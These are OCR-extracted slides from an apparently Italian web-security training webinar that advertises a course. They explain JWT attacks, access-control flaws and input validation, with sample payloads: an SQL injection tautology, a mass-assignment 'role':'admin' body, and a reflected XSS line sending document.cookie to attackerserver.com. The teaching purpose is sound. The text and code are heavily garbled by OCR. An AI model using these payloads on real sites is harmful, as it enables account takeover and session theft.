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*  Andrea Costantino: Senior Cyber Security Consultant Security Lab

* Facundo Pantaleo: Senior Cyber Security Consultant Security Lab
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Software utilizzato per effettuare penetration test sulle applicazioni web.

*= | principali componenti di Burp Suite sono: Proxy, Intruder, Repeater e
Sequencer.

* Proxy: permette di ispezionare e modificare il traffico. Si interpone fra il
browser e |'applicazione da analizzare.

* Repeater: manipola e ri-invia il contenuto di una richiesta.
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@ Configurazione manuale dei proxy:

Proxy HTTP:

Proxy SSL:
Proxy ETP:
Host SOCKS:

127001 Porta:

Utilizza lo stesso proxy per tutti i protocolli

127001 Porta:
127.001 Porta
127.001 Porta:

SOCKSv4 @ SOCKSv5 [] DNS remoto
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1. JSON Web Token (JWT) Attack

2. Broken Access Control

3. Improper Input Validation
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JSON Web Token — Cosa &?

= E uno standard che consente al server di scrivere in un messaggio (payload) chi
é l'utente loggato (e altre info di contorno), incapsulare questo messaggio
all'interno di un token e darlo al client che lo utilizzera da ora in poi per le
successive chiamate al server, informandolo cosi di chi sta effettuando la
chiamata.

= Dentro il token, oltre il payload viene inserita la firma dal server (costituto dal
payload stesso criptato con la sua chiave segreta in codifica hash 256). Il client
riceve il token e se vuole sara libero di leggere il payload contenuto ma non
potra modificarlo poiché se lo facesse il token sara invalidato dal server.

= |l server ricevera il token ed estrapolera il payload ma prima si assicurera che il
token sia stato firmato e autentificato con la sua chiave segreta.

= |l token e composto da 3 parti fondamentali: Header, Payload e Signature.



gmﬁrﬂ_nma@ JSON Web Token — Come viene costruito?

eyJhbGciOiJIUzI1NilsInR5cCl61kpXVCJ9.eyJzdWIiOilxMjMONS
IsSIm5ShbWUiOiJzZWNsYWIiLCJhZG1pbil6InRydWUifQ.qrgl5zn!
LiwZ4iBZDbwl43vUuHCPdeObiaallf-pGr8
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Qﬁﬁ@@ JSON Web Token — Come viene costruito?

eyJhbGeiOiJIUzITNilsInR5cCl6lkpXVCI9.eyJzdWIiOilxMjMONS
IsSIm5ShbWUiOiJzZWNsYWIiLCJhZG1pbil6InRydWUifQ.qrgl5zn!
LiwZ4iBZDbwl43vUuHCPdeObiaallf-pGr8

Header

{
"alg": "HS256",

"typ" : IIJWTlI
}
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Qﬁﬁ@@ JSON Web Token — Come viene costruito?

eyJhbGeiOiJIUzITNilsInR5cCl6lkpXVCI9.eyJzdWIiOilxMjMONS
IsSIm5ShbWUiOiJzZWNsYWIiLCJhZG1pbil6InRydWUifQ.qrgl5zn!
LiwZ4iBZDbwl43vUuHCPdeObiaallf-pGr8

Header

{
"alg": "HS256",
"typ": "JWT"

}
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’;ﬁﬁm—%@ JSON Web Token — Come viene costruito?

eyJhbGciOiJlUzI TNilsInR5cCl6lkpXVCI9.eyJzdWIiOilxMjMONS
IsSIm5ShbWUiOiJzZWNsYWIiLCJhZG1pbil6InRydWUifQ.qrgl5znl
LiwZ4iBZDbwl43vUuHCPdeObiaallf-pGr8

Header Pay load

{ {
"alg": "HS256", "sub": "12345",

"typ": "JWT" "name”: ”SeCIab",
} "admin": "true"

}
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’;ﬁﬁm—%@ JSON Web Token — Come viene costruito?

eyJhbGciOiJlUzI TNilsInR5cCl6lkpXVCI9.eyJzdWIiOilxMjMONS
IsSIm5ShbWUiOiJzZWNsYWIiLCJhZG1pbil6InRydWUifQ.qrgl5znl
LiwZ4iBZDbwl43vUuHCPdeObiaallf-pGr8

Header Pay load

{ {
"alg": "HS256", "sub": "12345",

"typ": "JWT" "name”: ”SeCIab",
} "admin": "true"

}
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JSON Web Token — Come viene costruito?

eyJhbGciOiJlUzI TNilsInR5cCl6lkpXVCI9.eyJzdWIiOilxMjMONS
IsSIm5hbWUiOiJzZWNsYWIiLCIhZG1pbil6InRydWUifQ.qrgl5znl
LiwZ4iBZDbwl43vUuHCPdeObiaallf-pGr8

Header Pay load Signature

{ { HMACSHA256 (
"alg": "HS256", "sub": "12345", base64UrlEncode(header) + “” +

"typ": "JWT" "name": "seclab", base64UrlEncode(payload),
} "admin": "true" KEY-SECRET
} )




‘§.e=c‘u‘[itglab JSON Web Token — Come si puo attaccare?

= Verificare la presenza di dati sensibili nel JWT.

=  Cambiare |'algoritmo per firmare i messaggi
" none

= da RS256 (chiave pubblica / privata) a HS256 (chiave segreta)

» Decifrare offline la password (algoritmo HS256) con attacco brute-force o a
dizionario.
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Broken Access Control
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* La maggior parte dei sistemi informatici € progettata per essere utilizzata con
piu utenti. Ogni utente ha dei privilegi che lo autorizzano ad un serie di azioni

come la visualizzazione e la modifica dei file.
= Si parla di "privilege escalation” quando un utente riceve i privilegi a cui non

ha diritto. Questi privilegi possono essere utilizzati per eliminare file,
visualizzare informazioni private o installare programmi indesiderati come i

Virus.
* La "privilege escalation” avviene in due forme:

= Verticale: un utente con privilegi inferiori accede a funzioni o contenuti
riservati a utenti con privilegi superiori.

=  Orizzontale: un utente normale accede a funzioni o contenuti riservati ad
altri utenti normali.
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GET /basket/id/1
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GET /basket/id/
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GET /basket/id/X
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Improper Input Validation
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*» la validazione dell'lnput & una tecnica utilizzata per controllare input
potenzialmente pericolosi al fine di garantire che gli input siano elaborati in
modo sicuro all'interno del codice o durante la comunicazione con altri
componenti.

* Quando il software non convalida correttamente l'input, un attaccante & in
grado di creare l'input in una forma che non & prevista dal resto
dell'applicazione. Cio portera parti del sistema a ricevere input non intenzionali,
il che potrebbe comportare un flusso alterato, un controllo arbitrario di una
risorsa o |'esecuzione di codice arbitrario.
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"email":"test@visionary.day", Customer
"password":"12345",
"passwordRepeat":"12345"
"securityQuestion":{
g i,
"question":"Your eldest siblings middle name?",
"createdAt":"2020-0S-30T15:04:31,5332"
"updatedAt":"2020-09-30T15:04:31.533Z"

E

T
"securityAnswer":"a"

T
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1 -
"email":"test@visionary.day", \ L admln
"password":"12345", o _/
& "y 1123457,
"role":"admin" r N
"securityQuestion”:{
nidv :1:
"question":"Your eldest siblings middle name?",
"createdAt":"2020-09-30T15:04:31.533Z",
"updatedAt " ;" 2020-09-30T15: 04:31,5332"
},
"securityAnswer":"a"
Sec-lab.com ¥
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Corso di Web Application Hacking
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* |l nuovo corso di "Web Application Hacking” & pensato per gli studenti che
hanno zero esperienza partendo dalle basi e introducendoli nel mondo della
sicurezza delle applicazioni web.

* |l corso trattera i principali problemi di sicurezza odierni da due punti di vista:
» attacco: spiegazione delle vulnerabilita e come queste si possono
sfruttare.

= difesa: messa a fuoco su i principali punti da tenere in considerazione
durante la fase di sviluppo di un’applicazione web.

» Lla teoria sara integrata con esercizi e laboratori presenti sulla piattaforma
implementata da Seclab dove & possibile eseguire attacchi e mettere in pratica

una serie di tecniche di hacking.

= || corso fornira infine un esame finale con relativo attestato.
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et Corso di Web Application Hacking — Sommario
* Ripasso di HTML
*  Architettura delle Applicazioni Web moderne
*  Funzionamento base del protocollo HTTP
*  Meccanismi di sicurezza pit comuni
. T|po|og|e di attacco:
Autenticazione

*  Autorizzazione

*  Sessione

* Logico

«  Back-end

¢ Injection

= |aboratori e demo hands-on

Sec-lab.com =  Analisi di frammenti di codice vulnerabile e relativa risoluzione
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SQLi. Classical or in-band.

SELECT * FROM Users WHERE Usernome="Susername' AND Password="Spassword’
Suppose we insert the following Username and Password values:

Susername =1'or'1'="1
Spassword=1"or '1'="1

Actual GET request:

%200r%20'1'%20=%20'1

The query will be:

SELECT * FROM Users WHERE Username='1'OR ‘1’ = '1' AND Password="1'OR '1'="1

security
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XML External Entities

<?xml version="1.0" encoding="1SO-8859-1"?>

<userS>‘ > atiribute : Root element
- |
elements :Afi — —— <username>seclab</username>
————  ———— <password>123456 </password>
~— <emall>course@sec-lab.com</cma
</users>

In the example above can be seen several opening and corresponding closing
tags, these are called elements.

There is only one root element, in particular in this example this is <users>
</users>

There is another tag named user that has an associated attribute id having a
value of 111. An attribute contains a value related to a tag.

security
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Reflected XSS

Vulnerable
web application

1

http://example.com/search?term=<script>document.
write('<img src="http://attackerserver.com/’ +
document.cookie+")</script>

security
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XSS Faulty Code
No protections
<?php
(s GET[ 1 == NULL 5 GET[ ] == o
echo 5 GET[ 1;
}7>
Poorly implemented protection
<?php
(s GET[ ] NULL GET[ ] o{
echo tr replace( ; , & GET[ 1)
}7>
Recommended implementation
<?php
(5_GET[ ] == NULI 5_GET([ ] ){
echo . htmlspecialchars($_GET[ 1)
37>
security
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&« cC @ © & 192.168.0.156/login.php o @ O i MO @ @

/'\_f'l_l'\

security

eeeeeeee
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¢« C ©  # 192.168.0.156/vulnerabilities/csri/ v O 0 N @
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CYSER SECURITY

Vulnerability: Cross Site Request Forgery (CSRF)

You should take good care of your password, this place is full of traps.

Change your password:

Current password:
New password:

Confirm new password:

Change
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e 24 — 26 Novembre 2020

« Maggiori informazioni sul sito
www.sec-lab.com o iscrivendosi
alla newsletter.

« sconto del 20% ai partecipanti

di questo webinar e agli
iscritti ATED.
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Grazie per |'attenzione

Domande?



